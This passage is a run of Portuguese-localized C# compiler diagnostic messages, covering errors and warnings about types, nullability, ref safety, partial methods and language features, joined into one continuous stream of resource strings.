conter destruidores + O parâmetro '{0}' é um argumento para a conversão do manipulador de cadeia de caracteres interpolado no parâmetro '{1}', mas o argumento correspondente é especificado após a expressão de cadeia de caracteres interpolada. Reordene os argumentos para mover '{0}' antes de '{1}'. + A expressão fornecida sempre é do tipo ("{0}") fornecido + Não há suporte às referências do arquivo de origem. + O modificador de tipo de referência do parâmetro não corresponde ao parâmetro correspondente no membro oculto. + "{0}": tipos static não podem ser usados como tipos de retorno + Não há ordenação definida entre os campos em várias declarações de estrutura partial "{0}". Para especificar uma ordenação, todos os campos de instância devem estar na mesma declaração. + Acessibilidade inconsistente: tipo de retorno do indexador "{1}" é menos acessível do que o indexador "{0}" + Campo em conformidade com CLS não pode ser volátil + Novas linhas dentro de uma cadeia de caracteres interpolada não textual não são suportadas no C# {0}. Use a versão {1} da linguagem ou superior. + Acessibilidade inconsistente: tipo de parâmetro "{1}" é menos acessível do que o método "{0}" + árvores devem ter um nó raiz com SyntaxKind.CompilationUnit + Somente as expressões de atribuição, chamada, incremento, diminuição, espera e novo objeto podem ser utilizadas como uma instrução + O atributo CallerFilePathAttribute aplicado ao parâmetro "{0}" não terá efeito porque ele se aplica a um membro que é usado em contextos que não permitem o uso de argumentos opcionais + params não é válido neste contexto + Uma árvore de expressão da expressão lambda não pode conter um parâmetro ref, in ou out + O tipo de arquivo local '{0}' não pode ser usado em uma diretiva 'global using static'. + Não é possível inicializar o tipo "{0}" com um inicializador de coleta porque ele não implementa "System.Collections.IEnumerable" + A correspondência de padrões não é permitida para tipos de ponteiro. + Uma expressão do tipo '{0}' sempre corresponde ao padrão fornecido. + O recurso '{0}' está atualmente na Versão Prévia e *sem suporte*. Para usar os recursos da Versão Prévia, use a versão de linguagem da "versão prévia". + A primeira operação de um operador de deslocamento sobrecarregado deve ter o mesmo tipo que o tipo que o contém + inicializador de autopropriedade + Erro ao ler o recurso "{0}" -- "{1}" + Diretiva de pré-processamento esperada + A primeira operação de um operador de deslocamento sobrecarregado deve ter o mesmo tipo que o contém ou seu parâmetro de tipo limitado a ele + 'aguardar' não pode ser usado em uma expressão que contém o tipo '{0}' + Não é possível especificar modificadores de acessibilidade para os acessores da propriedade ou indexador "{0}" + As declarações de método parcial têm diferenças de assinatura. + O método inicializador do módulo '{0}' não pode ser genérico e não pode estar contido em um tipo genérico + Os nomes de elemento de tupla devem ser exclusivos. + O nome do idioma é inválido + "{0}": não é possível chamar explicitamente o operador ou acessador + '{0}' não pode ser externo e possui um inicializador de construtor + O tipo de valor de nulidade pode ser nulo. + As propriedades autoimplementadas não podem retornar por referência + Literais de cadeia de caracteres bruta de várias linhas só são permitidas em cadeias de caracteres verbatim interpoladas. + Espaço em branco necessário estava ausente. + Referência a "{0}" netmodule ausente. + Uso de campo possivelmente não atribuído '{0}'. Considere atualizar para a versão de linguagem '{1}' para auto-padrão do campo. + '{0}' define 'Equals', mas não 'GetHashCode' + A operação causou um estouro de pilha. + variável de iteração foreach + "{0}": não é possível substituir; "{1}" não é um evento + "{0}" duplicar TypeForwardedToAttribute + O tamanho dos buffers de tamanho fixo deve ser maior que zero + 'await' não pode ser usado como um identificador em um método assíncrono ou em uma expressão lambda + O valor de constante "{0}" não pode ser convertido em "{1}" (use a sintaxe "unchecked" para substituir) + Identificador não tem conformidade com CLS + inicializador de dicionário + Erro interno no compilador C#. + O CallerArgumentExpressionAttribute aplicado ao parâmetro '{0}' não terá nenhum efeito. Ele é substituído pelo CallerLineNumberAttribute. + Isso retorna um parâmetro por referência, mas está no escopo do método atual + O parâmetro '{0}' precisa ter um valor não nulo durante a saída porque o parâmetro '{1}' não é nulo. + cadeias de caracteres interpoladas + Nem todos os caminhos de código retornam um valor em {0} do tipo "{1}" + Possível comparação de referência inesperada; o lado esquerdo precisa de conversão + Não foi encontrado nenhum construtor de cópia acessível no tipo base '{0}'. + O membro posicional “{0}” encontrado correspondente a este parâmetro está oculto. + Não é possível resolver o caminho de arquivo "{0}" especificado para o argumento nomeado "{1}" para o atributo PermissionSet + Número inválido + Assembly referenciado "{0}" tem a configuração de cultura diferente de "{1}". + Referência ambígua no atributo cref + O primeiro parâmetro de um método de extensão não pode ser do tipo "{0}" + referências somente leitura + "{0}" é um {1}, que não é válido no contexto fornecido + Metódo sobrecarregado "{0}" diferindo somente em ref ou out, ou em classificação de matriz não tem conformidade com CLS + Tipo de parâmetro 'void' inválido + Não são permitidas restrições em declarações não genéricas + O comentário XML possui um atributo cref sintaticamente incorreto + métodos anônimos + A anotação para tipos de referência anuláveis deve ser usada apenas em código em um contexto de anotações '#nullable'. + Uma árvore de expressão não pode conter uma expressão throw. + Não é possível converter tipo "{0}" em "{1}" + A expressão de filtro é uma constante ‘false’, considere remover o bloco try-catch + O argumento nomeado "{0}" não pode ser especificado várias vezes + O especificador de tipo de matriz, [], deve aparecer antes do nome de parâmetro + Não é possível converter o valor nulo em '{0}' porque ele não é um tipo de valor não anulável + Referência do analisador '{0}' especificada várias vezes + O modificador 'partial' só pode aparecer imediatamente antes de 'class', de 'record', de 'struct', de 'interface' ou de um tipo de retorno de método. + O '{0}' método deve ser não genérico para corresponder '{1}'. + O tipo não implementa o padrão de coleção; o membro não é um método de extensão ou de instância pública. + O tipo do argumento para o atributo DefaultParameterValue deve corresponder ao tipo de parâmetro + Não há um tipo de destino para '{0}' + Opção de alias de referência inválida: "{0}=" -- nome de arquivo ausente + O tipo '{0}' não pode ser usado para um campo de um registro. + O campo ou a propriedade autoimplementada não pode ser do tipo '{0}', a menos que seja um membro de instância de uma struct de referência. + Variância inválida: o parâmetro de tipo '{1}' precisa ser {3} válido em '{0}', a menos que seja usada a versão de idioma '{4}' ou superiores. '{1}' é {2}. + A diretiva using apareceu anteriormente como using global + O CallerArgumentExpressionAttribute aplicado ao parâmetro '{0}' não terá efeito porque ele se aplica a um membro que é usado em contextos que não permitem argumentos opcionais + O argumento nomeado '{0}' é usado fora de posição, mas é seguido por um argumento sem nome + Membros do campo somente leitura '{0}' não podem ser retornados por referência gravável + Não é possível usar uma expressão do tipo "{0}" como um argumento para uma operação dinamicamente vinculada. + Não são permitidas expressões de consulta no tipo de origem "dynamic" ou com uma sequência de união do tipo "dynamic" + Opção "{0}" substitui o atributo "{1}" fornecido em um arquivo de origem ou módulo adicionado + "{0}": nomes de membro não podem ser os mesmos do seu tipo delimitador + '{0}': o tipo usado em uma instrução using assíncrona deve ser implicitamente conversível em 'System.IAsyncDisposable' ou implementar um método 'DisposeAsync' adequado. Você quis dizer 'using' em vez de 'await using'? + O parâmetro {0} ocorre após {1} na lista de parâmetros, mas é usado como um argumento para as conversões do manipulador de cadeia de caracteres interpolada. Isso exigirá que o chamador reordene os parâmetros com argumentos nomeados no local da chamada. Considere colocar o parâmetro do manipulador de cadeia de caracteres interpolada após todos os argumentos envolvidos. + Nome de algoritmo de hash inválido: '{0}' + A palavra-chave contextual "var" pode somente aparecer dentro de uma declaração de variável local ou no código de script + Uma árvore de expressão pode não conter um acesso de membro de interface de abstrato estático ou virtual + Número base de imagem inválido "{0}" + Um evento de Windows Runtime não pode ser passado como parâmetro out ou ref. + A instância do tipo '{0}' não pode ser usada dentro de uma função aninhada, expressão de consulta, bloco de iteradores ou método assíncrono + "{0}" não implementa membro de interface "{1}". "{2}" não pode implementar "{1}" porqu não tem o tipo de retorno correspondente de "{3}". + O argumento deve ser passado com 'ref' ou 'in' palavra-chave + padrões de propriedade estendida + O tipo de uma das expressões na cláusula {0} está incorreto. Inferência de tipos falhou na chamada para "{1}". + O comentário XML tem um atributo cref que faz referência a um parâmetro de tipo + O tipo de arquivo local '{0}' não pode usar modificadores de acessibilidade. + O parâmetro do '{0}' primário é sombreado por um membro da base. + Nome de método esperado + Não é possível usar o local fixo "{0}" dentro de um método anônimo, expressão lambda ou expressão de consulta + O método '{0}' não será usado como ponto de entrada porque um ponto de entrada síncrono '{1}' foi encontrado. + __arglist não é válido neste contexto + O membro '{0}' deve ter um valor não nulo durante a saída. + Elementos não podem ser nulos. + Não é um símbolo C#. + Não é possível converter o grupo de &métodos '{0}' no tipo de ponteiro que não é de função '{1}'. + "{0}": classes static não podem ser utilizadas como parâmetros + Somente um 'usando estático' ou 'usando alias' pode ser 'inseguro'. + Tipo "{0}" exportado do módulo "{1}" está em conflito com tipo declarado no módulo primário deste assembly. + A expressão switch não manipula todos os valores possíveis de seu tipo de entrada (não é exaustiva). + tipos construídos não gerenciados + Isso pega o endereço, obtém o tamanho ou declara um ponteiro para um tipo gerenciado + A cadeia de caracteres de versão especificada '{0}' não está de acordo com o formato requerido - major[.minor[.build[.revision]]] + A instrução foreach não pode operar em variáveis do tipo "{0}" porque implementa várias instanciações de "{1}"; tente transmitir para uma instanciação de interface específica + O comentário XML tem uma tag param, mas não há nenhum parâmetro com esse nome + Identificador esperado + correspondência de padrões + O uso de alias não pode ser um tipo de referência anulável. + O CallerMemberNameAttribute não terá nenhum efeito; ele é substituído pelo CallerFilePathAttribute + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + tipos de arquivo + Uma árvore de expressões não pode conter um acesso de base + Um parâmetro pode somente ter um modificador "{0}" + Nenhum rótulo "{0}" dentro do escopo da instrução goto + Um código sem segurança só pode aparecer se a compilação for com /unsafe + Uma referência retornada por uma chamada para '{0}' não pode ser preservada no limite 'await' ou 'yield'. + "{0}": membros virtuais ou abstratos não podem ser privados + O CallerArgumentExpressionAttribute é aplicado com um nome de parâmetro inválido. + campos posicionais nos registros + membros readonly + O assembly referenciado possui uma configuração de cultura diferente + O primeiro parâmetro 'in' ou 'ref readonly' do método de extensão '{0}' deve ser um tipo de valor concreto (não genérico). + Falha na inicialização do gerador “{0}”. Isso não contribuirá para a saída e, como resultado, poderão ocorrer erros de compilação. A exceção foi do tipo “{1}” com mensagem “{2}”. +{3} + Um valor do tipo "{0}" não pode ser usado como parâmetro padrão para parâmetro anulável "{1}" porque "{0}" não é um tipo simples + Um valor de tipo "{0}" não pode ser usado como um parâmetro padrão porque não há conversões padrões para o tipo "{1}" + A nulidade dos tipos de referência no tipo de parâmetro '{0}' não corresponde ao método interceptável '{1}'. + '{0}' deve ser requerido porque substitui o membro requerido '{1}' + '{0}' é abstrato, mas está contido no tipo não abstrato '{1}' + dinâmica + Possível atribuição de referência nula. + Não é possível retornar por referência um membro do parâmetro '{0}' porque está no escopo do método atual + O módulo '{0}' no assembly '{1}' está encaminhando o tipo '{2}' para vários assemblies: '{3}' e '{4}'. + 'disable' ou 'restore' esperado após o aviso #pragma + Valor SecurityAction "{0}" é inválido para atributos de segurança aplicados a um tipo ou um método + "{0}" é um {1}, mas é usado como um {2} + O membro do registro '{0}' precisa retornar '{1}'. + As diretivas de pré-processamento devem aparecer como o primeiro caractere que não seja espaço em branco em uma linha + campo + matriz + alias using + separadores de dígito + Uso de campo possivelmente não atribuído '{0}'. Considere atualizar para a versão de linguagem '{1}' para auto-padrão do campo. + É ilegal usar o tipo de referência anulável '{0}?' em uma expressão is-type; use o tipo subjacente '{0}' em seu lugar. + O parâmetro '{0}' deve ter um valor não nulo ao sair. + evento + O modificador "{0}" não é válido para este item + descarte + Arquivo de chave "{0}" está sem a chave portátil necessária para assinatura + rótulo + A expressão __arglist só pode aparecer dentro de uma expressão de chamada ou expressão new + Algoritmo '{0}' sem suporte + O método deve ter um tipo de retorno + parâmetro de tipo + Enums não podem conter construtores explícitos sem parâmetros + '{0}' foi atribuído com 'UnmanagedCallersOnly' e não pode ser chamado diretamente. Obtenha um ponteiro de função para esse método. + As duas declarações de métodos parciais precisam ter modificadores de acessibilidade idênticos. + Este não é um local de atributo para esta declaração + Falha na criptografia ao criar valores hashes. + Este método pode somente ser usado para criar tokens - {0} não é um tipo de token. + O membro '{0}' não pode ser usado nesse atributo. + '{0}' não pode definir uma sobrecarga {1} que difere somente nos modificadores de parâmetro '{2}' e '{3}' + O ponteiro de função '{0}' não usa {1} argumentos + Operador de supressão nulo duplicado ('!') + A anulabilidade de tipos de referência em tipo não corresponde ao membro substituído. + O nome "{0}" não existe no contexto atual (está sem uma referência para o assembly "{1}"?) + A palavra-chave 'base' não está disponível no contexto atual + Não é possível usar a variável local "{0}" antes de declará-la + using assíncrona + A cadeia de caracteres literal "]]>" não é permitida no conteúdo do elemento. + "{0}": não é possível implementar uma interface dinâmica "{1}" + declaração de variáveis de expressão em inicializadores e em consultas do membro + O tempo de execução de destino não dá suporte a campos de ref. + Não é possível interceptar a chamada '{0}' com '{1}' por causa de uma diferença nos modificadores 'scoped' ou atributos '[UnscopedRef]'. + Declarações parciais de método '{0}' têm nulidade inconsistente em restrições para o parâmetro de tipo '{1}' + Parâmetro não é válido para o tipo não gerenciado especificado. + Opção /REFERENCEPATH + Uma árvore de expressão não pode conter uma referência a uma função local + O campo tem vários valores constantes distintos. + {0} versão {1} + Copyright (C) Microsoft Corporation. Todos os direitos reservados. + Atributo de segurança "{0}" não é válido neste tipo de declaração. Atributos de segurança são somente válidos em declarações de assembly, tipo e método. + usando estático + Membro '{0}' adicionado durante a sessão de depuração atual pode ser acessado somente neste assembly de declaração '{1}'. + Não é permitido usar #load após o primeiro token do arquivo + O nome do tipo contém apenas caracteres ascii em caixa baixa. Esses nomes podem ficar reservados para o idioma. + Uma árvore de expressão não pode conter uma declaração de variável de argumento out. + Tipo inválido para parâmetro {0} no atributo de cref de comentário XML: "{1}" + O tipo não pode ser usado como parâmetro de tipo no tipo ou método genérico. A anulabilidade do argumento de tipo não corresponde à restrição 'class'. + Acessibilidade inconsistente: tipo de restrição "{1}" é menos acessível do que "{0}" + "{0}" não pode ser ambos abstract e sealed + Caractere inesperado '{0}' + "{0}" é não um argumento de atributo nomeado válido. Argumentos de atributo nomeado devem ser campos que não são propriedades readonly, static ou const ou read-write que são públicas e não estáticas. + Diretiva #pragma não reconhecida + Não é possível declarar uma variável de tipo static "{0}" + Você adicionou uma referência a um assembly usando /link (propriedade Incorporar Tipos de Interoperabilidade definida como Verdadeiro). Isso instrui o compilador a incorporar as informações de tipo de interoperabilidade desse assembly. No entanto, o compilador não pode incorporar informações de tipo de interoperabilidade desse assembly porque outro conjunto que você referenciou também faz referência a esse assembly usando /reference (propriedade Incorporar Tipos de Interoperabilidade definida como Falso). + +Para incorporar informações de tipo de interoperabilidade para os dois assemblies, use /link para fazer referência a cada assembly (defina a propriedade Incorporar Tipos de Interoperabilidade para Verdadeiro). + + Para remover o aviso, você pode usar o /reference em vez disso (defina a propriedade Incorporar Tipos de Interoperabilidade como Falso). Nesse caso, um PIA (assembly de interoperabilidade primário) fornece informações de tipo de interoperabilidade. + A nulidade dos tipos de referência no tipo de retorno não corresponde ao método interceptável '{0}'. + acessador da propriedade do corpo da expressão + "{0}" define o operador = = ou operador !=, mas não substitui Object.Equals(object o) + Número errado de argumentos de tipo + "{0}" não implementa o padrão "{1}". "{2}" tem a assinatura errada. + A foreach assíncrona requer que o tipo de retorno '{0}' de '{1}' tenha um método 'MoveNextAsync' público adequado e a propriedade 'Current' pública + Uma declaração de namespace não pode ter modificadores nem atributos + '{0}': campo de instância em tipos marcados com StructLayout(LayoutKind.Explicit) precisam ter um atributo FieldOffset + Não é possível criar uma instância do tipo abstrato ou da interface '{0}' + Uma implementação de interface explícita de um evento deve usar a sintaxe de acessador do evento + A avaliação do valor de constante para "{0}" envolve uma definição circular + "{0}" não é um local de atributo válido para esta declaração. Locais de atributo válidos para esta declaração são "{1}". Todos os atributos neste bloco serão ignorados. + Um resultado de uma expressão stackalloc do tipo '{0}' nesse contexto pode ser exposto fora do método que o contém + '{0}' é ambíguo entre '{1}' e '{2}'. Use '@{0}' ou inclua explicitamente o sufixo 'Attribute'. + ; esperado + Uma chamada vinculada dinamicamente pode falhar no tempo de execução porque uma ou mais sobrecargas aplicáveis são métodos condicionais + Conflitos de namespace com o tipo importado + Um método parcial não pode ter várias declarações de implementação + Não é possível usar '{0}' como um valor ref ou out porque ele é '{1}' + O acesso Friend foi concedido por "{0}", mas o estado de assinatura de nome forte do assembly de saída não corresponde àquele do assembly de concessão. + criação de objeto de tipo de destino + Um construtor declarado em um tipo com uma lista de parâmetros deve ter o inicializador de construtor 'this'. + Restrição não pode ser um tipo dinâmico "{0}" + O operador "{0}" não pode ser aplicado ao operando do tipo "{1}" + Um parâmetro de construtor primário de um tipo somente leitura não pode ser retornado por referência gravável + "{0}": uma referência a um campo volátil não será tratada como volátil + Uma árvore de expressões não pode conter uma operação dinâmica + Variáveis locais do tipo implícito não podem ser fixas + O tipo importado '{0}' é inválido. Ele contém uma dependência de tipo base circular. + Várias implementações do padrão de consulta foram encontradas para o tipo de origem "{0}". Chamada ambígua para "{1}". + A opção de linha de comando "{0}" ainda não está implementada e foi ignorada. + A anulabilidade de tipos de referência em tipo não corresponde ao membro implementado. + Método, operador ou acessador "{0}" está marcado como externo e sem atributos. Considere a adição de um atributo DllImport para especificar a implementação externa. + '{0}' não é um nome de parâmetro válido de '{1}'. + Acessibilidade inconsistente: tipo de parâmetro "{1}" é menos acessível do que o indexador "{0}" + O tipo predefinido ‘{0}’ é declarado em vários assemblies referenciados: ‘{1}’ e ‘{2}’ + propriedade apta para expressão + 'RefKind.Out' não é um tipo de referência válido para um tipo de retorno. + cadeias de caracteres verbatim interpoladas alternativas + sombreamento de nome em funções aninhadas + O atributo FieldOffset não é permitido em campos estáticos e const + Não é possível usar a referência local '{0}' em um método anônimo, expressão lambda ou expressão de consulta + Não é possível retornar um parâmetro por referência '{0}' porque ele está no escopo do método atual + O operador "{0}" é ambíguo em operandos dos tipos "{1}" e "{2}" + Tipo de retorno de "{0}" não tem conformidade com CLS + Um braço de expressão alternar não começa com uma palavra-chave 'case'. + O CallerArgumentExpressionAttribute só pode ser aplicado a parâmetros com valores padrão + Presume-se que a referência do assembly coincide com a identidade + "{0}" não contém uma definição para "{1}" e nenhum método de extensão "{1}" aceitando um primeiro argumento do tipo "{0}" pode ser encontrado (está faltando uma diretiva using para "{2}"?) + A assinatura atrasada foi especificada e requer uma chave pública, mas nenhuma chave pública foi especificada + Expressão sempre causará uma System.NullReferenceException porque o valor padrão de "{0}" é nulo + Indexadores devem ter no mínimo um parâmetro + Usar "{0}" para testar a compatibilidade com "{1}" é essencialmente idêntico testar compatibilidade com "{2}" e terá êxito para todos os valores não-nulos + A chamada indicada foi interceptada várias vezes. + Um valor de tipo integral é esperado + O argumento não pode ser usado como uma saída do parâmetro devido a diferenças na nulidade dos tipos de referência. + Esse recurso de idioma ("{0}") ainda não está implementado. + A árvore de sintaxe deve ser criada de uma submissão. + O nome totalmente qualificado é muito longo para as informações de depuração + O modificador 'readonly' deve ser especificado após 'ref'. + Nenhum valor para RuntimeMetadataVersion encontrado. Nenhum assembly contendo System.Object foi encontrado nem foi encontrado um valor de RuntimeMetadataVersion especificado por meio de opções. + A anotação para tipos de referência anuláveis só deve ser usada no código em um contexto de anotações '#nullable'. O código gerado automaticamente exige uma diretiva '#nullable' explícita na origem. + Interface marcada com 'CoClassAttribute', não com 'ComImportAttribute' + Matriz de parâmetros lambda + Instância alocada não descartada em todos os caminhos de exceção + 'in' esperado + Há um erro em um assembly referenciado '{0}'. + A nulidade do tipo de parâmetro não corresponde ao membro substituído (possivelmente devido a atributos de nulidade). + O nome do elemento de tupla '{0}' não é permitido em qualquer posição. + Indexando uma matriz com um índice negativo (índices de matriz sempre começam em zero) + O atributo CLSCompliant não tem sentido quando aplicado a tipos de retorno. Tente colocá-lo no método. + O '{0}' especificado para o método Main precisa ser uma classe, um registro, um struct ou uma interface não genérica + Essa combinação de argumentos pode expor variáveis referenciadas por parâmetro fora de seu escopo de declaração + O melhor método Adicionar sobrecarregado "{0}" para o elemento do inicializador de coleção está obsoleto. {1} + A verificação de compatibilidade com CLS não será executada porque ela não é vista de fora deste assembly + Declarações parciais de "{0}" têm restrições inconsistentes para o parâmetro de tipo "{1}" + Não foi possível encontrar "{0}" especificado para o método Main + Usar um campo de uma classe marshaling por referência como um valor ref ou out ou obter seu endereço pode gerar uma exceção de tempo de execução + e o padrão + Não há nenhum argumento fornecido que corresponda ao parâmetro necessário '{0}' de '{1}' + O nome '{0}' não corresponde ao parâmetro 'Deconstruct' '{1}'. + O tipo de código-fonte fornecido não tem suporte ou é inválido: '{0}' + Isso retorna por referência um membro do parâmetro com escopo para o método atual + Não é possível especificar um valor padrão para uma matriz de parâmetros + Atribuição feita à mesma variável + Nome inválido para um símbolo de pré-processamento. '{0}' não é um identificador válido + "{0}" não pode implementar "{1}" e "{2}" porque eles podem se unificar em algumas substituições de parâmetro de tipo + Tipo "{0}" encaminhado para o assembly "{1}" está em conflito com tipo "{2}" exportado do módulo "{3}". + O tipo '{2}' deve ser um tipo de valor não anulável para que seja usado como parâmetro '{1}' no tipo ou método genérico '{0}' + Tipos estáticos não podem ser usados como tipos de retorno + O método tem a assinatura incorreta para ser um ponto de entrada + Duplicar modificador "{0}" + contravariantly + Os padrões de lista não podem ser usados para um valor do tipo '{0}'. + Não é possível converter {0} para o tipo '{1}' porque o tipo de retorno não corresponde ao tipo de retorno delegado + Palavra-chave, cadeia de caracteres ou identificador esperado após o especificador textual: @ + O modificador '{0}' não é válido para este item no C# {1}. Use a versão de linguagem '{2}' ou superior. + Implementação de interface explícita "{0}" está sem o acessador "{1}" + "{2}" deve ser um tipo non-abstract com um construtor público sem-parâmetros para que possa ser usado como parâmetro "{1}" no tipo ou método genérico "{0}" + "{0}": tipo recipiente não implementa interface "{1}" + '{0}': structs de referência não podem implementar interfaces + O '{0}' método deve ser não genérico ou ter arity {1} para corresponder '{2}'. + Não foi possível encontrar uma implementação do padrão de consulta para o tipo de origem '{0}'. '{1}' não encontrado. Estão faltando referências de assembly necessárias ou um diretiva using para 'System.Linq'? + Operadores definidos pelo usuário não podem retornar void + A anulabilidade de tipos de referência em tipo de parâmetro não corresponde ao membro implicitamente implementado. + literais binários + Não é possível criar uma matriz com um tamanho negativo + descarte baseado em padrões + classes static + restrições para métodos de substituição e de implementação explícita da interface + A instrução yield não pode ser usada em um método anônimo ou expressão lambda + Tipo "{0}" não pode ser incorporado porque ele tem um argumento genérico. Considere definir a propriedade "Incorporar Tipos de Interoperabilidade" como falso. + O arquivo de origem excedeu o limite de 16.707.565 linhas representáveis no PDB; as informações de depuração estarão incorretas + structs de referência + operador de índice + "{0}" não implementa membro de interface "{1}". "{2}" não é público. + InterpolatedStringHandlerArgument não tem efeito quando aplicado a parâmetros lambda e será ignorado no local de chamada. + "{1}" não define parâmetro de tipo "{0}" + Não use '_' para uma constante de caso. + O tipo de receptor '{0}' não é um tipo de registro válido e não é um tipo struct. + O operador typeof não pode ser usado no tipo dinâmico + O operando de aumento ou diminuição deve ser uma variável, propriedade ou indexador + A opção /inserir tem suporte apenas ao emitir um PDB. + A expressão determinada não pode ser usada em uma instrução fixed + "{0}" não pode ser extern e abstract + Um objeto de tipo conversível em "{0}" é necessário + Não é possível criar uma instância da classe estática "{0}" + Uso de campo possivelmente não atribuído "{0}" + O caso do comutador não está acessível. Ele já foi manipulado por um caso anterior ou não é possível fazer a correspondência. + "{0}" oculta o membro herdado "{1}". Use a nova palavra-chave se foi pretendido ocultar. + Caractere unicode inválido. + Expressões lambda que retornam por referência não podem ser convertidas para árvores de expressão + Não é possível definir uma classe ou membro que utiliza tuplas porque o tipo '{0}' necessário de compilador não pode ser localizado. Uma referência está ausente? + Erro ao assinar a saída com a chave pública do arquivo "{0}" -- {1} + "{0}": não é possível especificar uma classe de restrição e a restrição "class" ou "struct" + Métodos anônimos, expressões lambda, expressões de consulta e funções locais dentro de um struct não podem acessar o parâmetro de construtor primário também usado dentro de um membro de instância + A anulabilidade dos tipos de referência em tipo de parâmetro não corresponde ao membro implementado. + Uma diretiva de 'usando estático' pode apenas ser aplicada a tipos; '{0}' é um namespace, não um tipo. Considere uma diretiva 'usando namespace' + Não é possível usar uma expressão lambda como um argumento para uma operação vinculada dinamicamente sem primeiro convertê-la para um tipo delegate ou de árvore de expressão. + Retornos by-value podem ser usados somente em métodos que retornam um valor + Um resultado de uma expressão stackalloc do tipo '{0}' não pode ser usado nesse contexto porque ele pode ser exposto fora do método que o contém + atributos genéricos + A expressão de filtro é uma constante ‘true’, considere remover o filtro + Tipo inválido especificado como argumento para o atributo TypeForwardedTo + Não é possível criar representante com "{0}" porque ele ou um método que substitui tem um atributo Conditional + O uso do literal padrão não é válido neste contexto + Palavra-chave inesperada 'unchecked' + A lista de membros requeridos '{0}' está malformada e não pode ser interpretada. + Não é possível converter implicitamente tipo "{0}" em "{1}". Existe uma conversão explícita (há uma conversão ausente?) + Uma instância do analisador de {0} não pode ser criada de {1} : {2}. + Usando diretiva exibida anteriormente neste namespace + O comentário XML possui um atributo cref que não pode ser resolvido + Não é possível fazer referência a 'System.Runtime.CompilerServices.TupleElementNamesAttribute' explicitamente. Use a sintaxe de tupla para definir os nomes das tuplas. + Número inválido + Delegado "{0}" não obtém {1} argumentos + "{0}" oculta membro abstrato herdado "{1}" + Duplicar atributo de tipo "{0}" + O melhor método Add sobrecarregado para o elemento do inicializador de coleta está obsoleto + padrões correspondentes a ReadOnly/Span<char> na cadeia de caracteres constante + Valores diferentes de checksum fornecidos para "{0}" + "{0}": evento deve ser de um tipo delegado + O EnumeratorCancellationAttribute aplicado ao parâmetro '{0}' não terá efeito. O atributo é eficaz somente em um parâmetro do tipo CancellationToken em um método iterador assíncrono que retorna IAsyncEnumerable + Expressão esperada após yield return + A opção /sourcelink tem suporte apenas ao emitir o PDB. + A anulabilidade de tipos de referência no valor não corresponde ao tipo de destino. + A anulabilidade de tipos de referência em tipo de parâmetro não corresponde ao membro implementado. + Primeiro argumento para um atributo de segurança deve ser uma SecurityAction válida + '{0}': o evento externo não pode ter inicializador + Não use 'System.Runtime.CompilerServices.ScopedRefAttribute'. Use a palavra-chave 'scoped'. + A palavra-chave contextual 'var' não pode ser usada em uma declaração de variável de intervalo + Alias extern inválido para "/reference"; "{0}" não é um identificador válido + O membro oculta o membro herdado; palavra-chave substituta ausente + O atributo FieldOffset só pode ser colocado em membros de tipos marcados com StructLayout(LayoutKind.Explicit) + O comentário XML tem uma tag param duplicada + segurança de variância para membros de interface estática + tipo + "{0}": tipos estáticos não podem ser usados como argumentos de tipo + Uma expressão throw não é permitida neste contexto. + A expressão switch não lida com alguns valores do seu tipo de entrada (sem limitação) que envolvem um valor de enumeração não nomeado. + O CallerLineNumberAttribute aplicado ao parâmetro "{0}" não terá efeito porque ele se aplica a um membro que é usado em contextos que não permitem argumentos opcionais + Operador binário que pode ser sobrecarregado é esperado + Não foi encontrado nenhum tipo melhor para a matriz do tipo implícita + Espaço em branco não é permitido neste local. + O comentário XML não está inserido em um elemento de linguagem válido + Não é possível usar um tamanho negativo com stackalloc + Erro de sintaxe de linha de comando: "{0}" ausente para a opção "{1}" + Ponteiros e buffers de tamanho fixo só podem ser usados em um contexto sem segurança + O método sobrecarregado diferindo somente pelos tipos de matriz sem nome não tem conformidade com CLS + O parâmetro out precisa ser atribuído antes que o controle saia do método + Erro ao compliar recursos do Win32 -- {0} + Os métodos parciais com apenas uma declaração de definição ou métodos condicionais removidos não podem ser usados em árvores de expressão + O nome do elemento de tupla '{0}' é deduzido. Use a versão de idioma {1} ou posterior para acessar um elemento pelo nome deduzido. + Comparação de referência não intencional possível; para obter uma comparação de valor, converta o lado direito no tipo "{0}" + O comentário XML tem uma tag typeparam duplicada + Uso de variável local não atribuída "{0}" + Tipos e pseudônimos não podem ser chamados de 'file'. + O CallerArgumentExpressionAttribute não terá nenhum efeito; ele é substituído pelo CallerLineNumberAttribute + Assembly "{0}" com identidade "{1}" usa "{2}" que tem uma versão mais recente do que o assembly referenciado "{3}" com identidade "{4}" + Isso retorna um parâmetro por referência '{0}' por meio de um parâmetro ref, mas só pode ser retornado com segurança em uma instrução return + O {1} não genérico "{0}" não pode ser usado como argumentos de tipo + inicializadores de campo de struct + O nome do assembly "{0}" é reservado e não pode ser usado como uma referência em uma sessão interativa + Não é possível usar 'ref', 'in' ou 'out' na assinatura de um método atribuído com 'UnmanagedCallersOnly'. + O tipo define os operadores == ou !=, mas não substitui o Object.Equals(object o) + Não é possível usar o parâmetro "{0}" que tenha o tipo ref-like dentro de um método anônimo, expressão lambda, expressão de consulta ou função local + "{0}": tipo deve ser "{2}" para corresponder ao membro substituído "{1}" + Operador OR bit a bit usado em um operando de assinatura estendida; é recomendável realizar a conversão em um tipo menor sem assinatura primeiro + A expressão de filtro é uma constante ‘false’ + Você não pode usar buffers de tamanho fixo contidos em expressões unfixed. Tente usar a instrução fixed. + Não é possível obter o endereço da expressão especificada + Uma árvore de expressão não pode conter "{0}" + Não é possível especificar um valor de parâmetro padrão junto com DefaultParameterAttribute ou OptionalAttribute + O tipo '{2}' não pode ser usado como parâmetro de tipo '{1}' no tipo ou método genérico '{0}'. A anulabilidade do argumento de tipo '{2}' não corresponde à restrição 'class'. + Nenhuma instância nem método de extensão 'Deconstruct' adequado foi localizado para o tipo '{0}' com {1} parâmetros de saída e um tipo de retorno nulo. + '{0}' é implementado explicitamente mais de uma vez. + O método de extensão deve ser definido em uma classe estática não genérica + Attribute parameter 'SizeConst' must be specified. + "{0}" é do tipo "{1}". Um campo const de um tipo de referência diferente de cadeia de caracteres pode somente ser inicializado com null. + '{0}' não é um especificador de convenção de chamada válido para um ponteiro de função. + A anulabilidade de tipos de referência em tipo de retorno não corresponde ao membro implementado '{0}'. + A restrição 'new()' não pode ser usada com a restrição 'struct' + __arglist não é permitido na lista de parâmetros dos métodos assíncronos + Não é possível interceptar: a compilação não contém um arquivo com caminho '{0}'. + O operador '{0}' não pode ser usado aqui devido à precedência. Use parênteses para desambiguação. + O parâmetro deve ter um valor não nulo ao sair. + Não use 